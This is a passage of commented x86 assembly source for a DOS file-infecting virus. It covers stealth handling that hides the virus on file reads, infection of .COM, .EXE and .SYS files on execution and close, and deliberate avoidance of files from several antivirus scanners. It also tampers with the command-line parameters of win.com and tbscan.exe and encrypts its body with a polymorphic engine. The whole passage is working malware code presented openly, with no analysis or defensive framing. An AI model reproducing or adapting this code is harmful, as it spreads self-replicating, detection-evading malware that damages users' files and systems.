mov ax,word ptr es:[di+15h]
cmp ax,file_header_size
jae no_read_stealth
cmp word ptr es:[di+17h],0000h
jne no_read_stealth

;Save file-pointer position into header


mov word ptr cs:[file_offset],ax
call pop_all

;Save address of read buffer


mov word ptr cs:[read_off],dx
mov word ptr cs:[read_seg],ds

;Perform read operation


call dos_call
jnc check_read

;Error during file read


call unhook_ints
stc
retf 02h

no_read_stealth:
;Exit if no read stealth
jmp m21h_exit
check_read:
;Restore regs and get file sft
call push_all
call get_sft

;Save offset position


push word ptr es:[di+15h]
push word ptr es:[di+17h]

;Save file size


push word ptr es:[di+11h]
push word ptr es:[di+13h]

;Add virus size to file size


add word ptr es:[di+11h],inf_byte_size
adc word ptr es:[di+13h],0000h

;Point to old header in file


call seek_end
sub word ptr es:[di+15h],file_header_size+01h
sbb word ptr es:[di+17h],0000h

;Read old header and encryption key


push cs
pop ds
mov ah,3Fh
mov cx,file_header_size+01h
mov dx,offset old_header
call dos_call
jc exit_read

;Decrypt header
call decrypt_header

;Move old header into read buffer


les di,dword ptr cs:[read_ptr]
mov si,offset old_header
mov cx,file_header_size-01h
mov ax,word ptr cs:[file_offset]
add di,ax
add si,ax
sub cx,ax
cld
rep movsb
exit_read:
;We need this again
call get_sft

;Restore file size


pop word ptr es:[di+13h]
pop word ptr es:[di+11h]

;Restore old offset in file


pop word ptr es:[di+17h]
pop word ptr es:[di+15h]

;Restore regs and exit


call unhook_ints
call pop_all
clc
retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Terminate program ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_terminate_prog:

;Try to infect file that was executed


;(filename in our buffer)

push cs
pop ds
mov dx,offset execute_filename
jmp infect_file_ds_dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( execute program ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_exec:
;Restore function entry regs
call pop_all
call push_all

;Save segmet of parameter block


push es

;Copy filename into our buffer


mov si,dx
mov di,offset execute_filename
push cs
pop es
copy_filename:
lodsb
stosb
or al,al
jnz copy_filename

;Restore segment of parameter block


pop es
;Check if file to execute is win.com
cmp word ptr ds:[si-04h],"OC"
jne no_win_com
cmp word ptr ds:[si-08h],"IW"
jne no_win_com
cmp word ptr ds:[si-06h],".N"
jne no_win_com

;Add parameters to win.com


call find_end_string
jc exit_add_param
mov cx,0005h
mov bx,offset win_param_string
jmp short found_end_string
no_win_com:
;Check if file to execute is tbscan.exe
cmp word ptr ds:[si-07h],"NA"
jne exit_add_param
cmp word ptr ds:[si-09h],"CS"
jne exit_add_param
cmp word ptr ds:[si-0Bh],"BT"
jne exit_add_param

;Add parameters to tbscan.exe


call find_end_string
jc exit_add_param
mov cx,0006h
mov bx,offset tbscan_param_string

found_end_string:

;Add to number of characters


add byte ptr ds:[di],cl

;Number of characters + carriage ret


inc cx
mov di,si

;Point over carriage ret of original command parameter string


dec di

;Get offset of our param string


mov si,bx
push ds
pop es
push cs
pop ds

;Write it over original command parameter string


rep movsb
exit_add_param:
;Return to virus int 21h handler
jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Find end of command parameter string ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

find_end_string:
;Get address of command parameter string
lds si,dword ptr es:[bx+02h]
mov di,si
;Check if no parameters
lodsb
or al,al
jnz no_zero_param
inc si
clc
ret
no_zero_param:
;Find end of command parameter string
mov cx,007Fh

search_carriage_ret:

lodsb
cmp al,0Dh
jne try_next_char
clc
ret
try_next_char:
loop search_carriage_ret
stc
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file ( ds:dx ptr to filename ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

infect_file_ds_dx:

;Open file for read-only


mov ax,3D00h
call dos_call
jnc ok_file_open
jmp file_error
ok_file_open:
xchg bx,ax
jmp short from_open

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file on close ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_close:
;Get function parameters
call pop_all
call push_all

;Duplicate handle
mov ah,45h
call dos_call
jc file_error
xchg bx,ax
push ax

;Close new handle in order to update directory entry


mov ah,3Eh
call dos_call
pop bx
from_open:
;Check if file infection is disabled
cmp byte ptr cs:[file_infection_flag],0FFh
jne file_error
;Get sft address in es:di
call get_sft
jc file_error

;Check device info word


mov ax,word ptr es:[di+05h]

;Check if character device handle


test al,80h
jnz file_error

;Check if remote file handle


test ah,0Fh
jnz file_error

;Check if file is already infected


mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je file_error

;Check file name in sft


mov cx,0Bh
mov si,di
add si,20h
name_loop:
;Get a pair of characters
mov ax,word ptr es:[si]

;Do not infect files with digit in their file name


cmp al,"0"
jb no_digit
cmp al,"9"
jbe file_error
no_digit:
;Do not infect files with "V" character in their filename
cmp al,"V"
je file_error

;Do not infect files with "MO" into their filenames


cmp ax,"OM"
je file_error

;Do not infect files with "IO" into their filenames


cmp ax,"OI"
je file_error

;Do not infect files with "DO" into their filenames


cmp ax,"OD"
je file_error

;Do not infect files with "IB" into their filenames


cmp ax,"BI"
je file_error

;Next character
inc si
loop name_loop

;Get first pair


mov ax,word ptr es:[di+20h]
;Do not infect Thunderbyte antivirus utils
cmp ax,"BT"
je file_error

;Do not infect McAfee's Scan


cmp ax,"CS"
je file_error

;Do not infect F-Prot scanner


cmp ax,"-F"
je file_error

;Do not infect Solomon's Guard


cmp ax,"UG"
jne file_infection
file_error:
jmp critical_exit
file_infection:
;Save and set file open mode (read/write)
mov cx,0002h
xchg cx,word ptr es:[di+02h]
push cx

;Save and set file attribute


xor al,al
xchg al,byte ptr es:[di+04h]
push ax
test al,04h
jnz system_file

;Save and set file pointer position


push word ptr es:[di+15h]
push word ptr es:[di+17h]

;Read file header


call seek_begin
push cs
pop ds
mov ah,3Fh
mov cx,file_header_size
mov dx,offset file_buffer
call dos_call
jc exit_inf

;Seek to end of file and get file size


call seek_end

;Do not infect too small files


or dx,dx
jnz ok_min_size
cmp ax,inf_byte_size
jbe exit_inf
ok_min_size:
;Point si to file_buffer
mov si,offset file_buffer
check_sys:
;Check for .sys extension
cmp word ptr es:[di+28h],"YS"
jne check_exe
cmp byte ptr es:[di+2Ah],"S"
jne check_exe
jmp inf_sys
check_exe:
;Check for .exe mark in file header
mov cx,word ptr cs:[si+00h]

;Add markers M+Z


add cl,ch
cmp cl,"Z"+"M"
jne check_com

;Check for .exe extension


cmp word ptr es:[di+28h],"XE"
jne check_com
cmp byte ptr es:[di+2Ah],"E"
jne check_com
jmp inf_exe
check_com:
;Avoid infecting .exe type here
cmp cl,"Z"+"M"
je exit_inf

;Check for .com extension


cmp word ptr es:[di+28h],"OC"
jne exit_inf
cmp byte ptr es:[di+2Ah],"M"
jne exit_inf
jmp inf_com
exit_inf:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
system_file:
;Restore file attribute
pop ax
mov byte ptr es:[di+04h],al

;Restore file open mode


pop word ptr es:[di+02h]

;Do not set file date/time on closing


or byte ptr es:[di+06h],40h
critical_exit:
;Check if close function
cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh)
je no_close_file

;Close file
mov ah,3Eh
call dos_call
no_close_file:
jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .sys files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inf_sys:
;Don't infect too big .sys files
cmp ax,0FFFFh-(mem_byte_size*02h)
jae exit_inf

;Check next driver address


cmp word ptr cs:[si],0FFFFh
jne exit_inf
cmp word ptr cs:[si+02],0FFFFh
jne exit_inf

;Copy .sys file header


call copy_header

;Store virus entry point ( file size ) over strategy routine address
mov word ptr cs:[si+06h],ax

;Save delta offset for poly engine


mov word ptr cs:[file_delta],ax

;Store return subroutine


mov word ptr cs:[exit_address],offset exit_sys - \
offset host_ret

;Encrypt and infect


jmp get_control

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .com files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inf_com:
;Don't infect too big .com files
cmp ax,0FFFFh-(mem_byte_size*02h)
jae exit_inf

;Save first bytes of file


call copy_header

;Get file length as entry point


sub ax,03h

;Write a jump to virus into header


mov byte ptr cs:[si+00h],0E9h
mov word ptr cs:[si+01h],ax

;Save delta offset for poly engine


add ax,0103h
mov word ptr cs:[file_delta],ax

;Store return subroutine

mov word ptr cs:[exit_address],offset exit_com - \


offset host_ret

;Encrypt and infect


jmp get_control

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .exe files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inf_exe:
;Make a copy of .exe file header
call copy_header

;Don't infect Windows new exe files


cmp word ptr cs:[si+19h],0040h
jae bad_exe

;Don't infect overlays


cmp word ptr cs:[si+1Ah],0000h
jne bad_exe

;Check maxmem field


cmp word ptr cs:[si+0Ch],0FFFFh
jne bad_exe

;Save file size


push ax
push dx

;Save old exe entry point


push word ptr cs:[si+14h]
pop word ptr cs:[exe_ip]
push word ptr cs:[si+16h]
pop word ptr cs:[exe_cs]

;Get file size div 10h


mov cx,0010h
div cx

;Subtract header size


sub ax,word ptr cs:[si+08h]

;New entry point at file end


mov word ptr cs:[si+14h],dx
mov word ptr cs:[si+16h],ax

;Save delta offset for poly engine


mov word ptr cs:[file_delta],dx

;Set new offset of stack segment in load module


inc ax
mov word ptr cs:[si+0Eh],ax

;Set new stack pointer beyond end of virus


add dx,mem_byte_size+inf_byte_size+0410h

;Aligment
and dx,0FFFEh
mov word ptr cs:[si+10h],dx

;Restore size
pop dx
pop ax

;Resave size
push ax
push dx

;Get file size div 0200h


mov cx,0200h
div cx
or dx,dx
jz size_round_1
inc ax
size_round_1:
;Check if file size is as header says
cmp ax,word ptr cs:[si+04h]
jne exit_header
cmp dx,word ptr cs:[si+02h]
je ok_file_size
exit_header:
pop dx
pop ax
bad_exe:
jmp exit_inf
ok_file_size:
;Restore file size
pop dx
pop ax

;Add virus size to file size


add ax,inf_byte_size
adc dx,0000h

;Get infected file size div 0200h


mov cx,0200h
div cx
or dx,dx
jz size_round_2
inc ax
size_round_2:
;Store new size
mov word ptr cs:[si+02h],dx
mov word ptr cs:[si+04h],ax

;Store return subroutine


mov word ptr cs:[exit_address],offset exit_exe - \
offset host_ret

;Encryption an infection continues on next routine

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Encryption and infection ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_control:
;Reserve memory for poly engine buffer
call memory_allocation
jc no_good_memory

;Encrypt virus and build polymorphic decryptor


sub bp,bp
call do_encrypt

;Write virus body to the end of file


mov ah,40h
mov cx,inf_byte_size
lds dx,dword ptr cs:[poly_working_ptr]
call dos_call
jc no_good_write

;Seek to beginning of file


call seek_begin

;Write new header


push cs
pop ds
mov ah,40h
mov cx,file_header_size
mov dx,offset file_buffer
call dos_call

;Mark file as infected


or byte ptr es:[di+0Dh],1Fh
no_good_write:
;Free previous allocated memory
call free_memory
no_good_memory:
jmp exit_inf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Memory allocation routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

memory_allocation:
;Save regs
call push_all

;Use segment as success flag


mov word ptr cs:[poly_working_seg],0000h

;Get and save memory allocation strategy


mov ax,5800h
call dos_call
push ax

;Set new allocation strategy to first fit in high then low


mov ax,5801h
mov bx,0080h
call dos_call

;Get and save umb link state


mov ax,5802h
call dos_call
xor ah,ah
push ax

;Set umb link state on


mov ax,5803h
mov bx,0001h
call dos_call

;Allocate memory
mov ah,48h
mov bx,inf_para_size
call dos_call
jc error_mem_alloc

;Save pointer to allocated memory


mov word ptr cs:[poly_working_off],0000h
mov word ptr cs:[poly_working_seg],ax
error_mem_alloc:
;Restore umb link state
mov ax,5803h
pop bx
call dos_call

;Restore allocation strategy


mov ax,5801h
pop bx
call dos_call

;Check segment
cmp word ptr cs:[poly_working_seg],0000h
je exit_mem_error

;Restore regs
call pop_all
clc
ret

exit_mem_error:

;Restore regs
call pop_all
stc
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Free previous allocated memory ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

free_memory:
call push_all
free_try_again:
mov ah,49h
mov es,word ptr cs:[poly_working_seg]
call dos_call
jc free_try_again
call pop_all
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get random number from our rnd buffer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_rnd:
push si
push ds
push cs
pop ds
mov ax,word ptr cs:[rnd_pointer][bp]
mov si,ax
sub ax,bp
cmp ax,decryptor-04h
jbe into_random_data
mov si,bp

into_random_data:

cld
lodsw
mov word ptr cs:[rnd_pointer][bp],si
pop ds
pop si
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Timer based random number generator ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

random_number:
push cx
in ax,40h
mov cl,al
xor al,ah
xor ah,cl
xor ax,0FFFFh
org $-02h
randomize:
dw 0000h
mov word ptr cs:[randomize][bp],ax
pop cx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a 16bit random number ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

rand_16:
call get_rnd
mov bl,al
call get_rnd
mov ah,bl
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random number betwin 0 and ax ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

rand_in_range:

;Returns a random num between 0 and entry ax


push bx
push dx
xchg ax,bx
call get_rnd
xor dx,dx
div bx

;Remainder in dx
xchg ax,dx
pop dx
pop bx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Return the al vector in es:bx ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_int:
push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set al interrupt vector to ds:dx pointer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

set_int:
push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get sft address in es:di ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_sft:
;File handle in bx
push bx

;Get job file table entry to es:di


mov ax,1220h
int 2Fh
jc error_sft

;Exit if handle not opened


xor bx,bx
mov bl,byte ptr es:[di+00h]
cmp bl,0FFh
je error_sft

;Get address of sft entry number bx to es:di


mov ax,1216h
int 2Fh
jc error_sft
pop bx
clc
ret

error_sft:
;Exit with error
pop bx
stc
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to end of file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

seek_end:
call get_sft
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov word ptr es:[di+17h],dx
mov word ptr es:[di+15h],ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to begin ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

seek_begin:
call get_sft
xor ax,ax
mov word ptr es:[di+17h],ax
mov word ptr es:[di+15h],ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus critical error interrupt handler ( int 24h ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my_int24h:
sti
;Return error in function
mov al,03h
iret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Save all registers in the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

push_all:
cli
pop word ptr cs:[ret_off]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push word ptr cs:[ret_off]
sti
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Restore all registers from the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

pop_all:
cli
pop word ptr cs:[ret_off]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push word ptr cs:[ret_off]
sti
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Unhook int 24h and clear dos infection switch ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

unhook_ints:
push ds
push dx
push ax

;Clear dos running switch


mov byte ptr cs:[running_sw],00h

;Restore int 24h


lds dx,dword ptr cs:[old24h]
mov al,24h
call set_int

pop ax
pop dx
pop ds
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform a call to dos function ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_call:
pushf
call dword ptr cs:[org21h]
ret

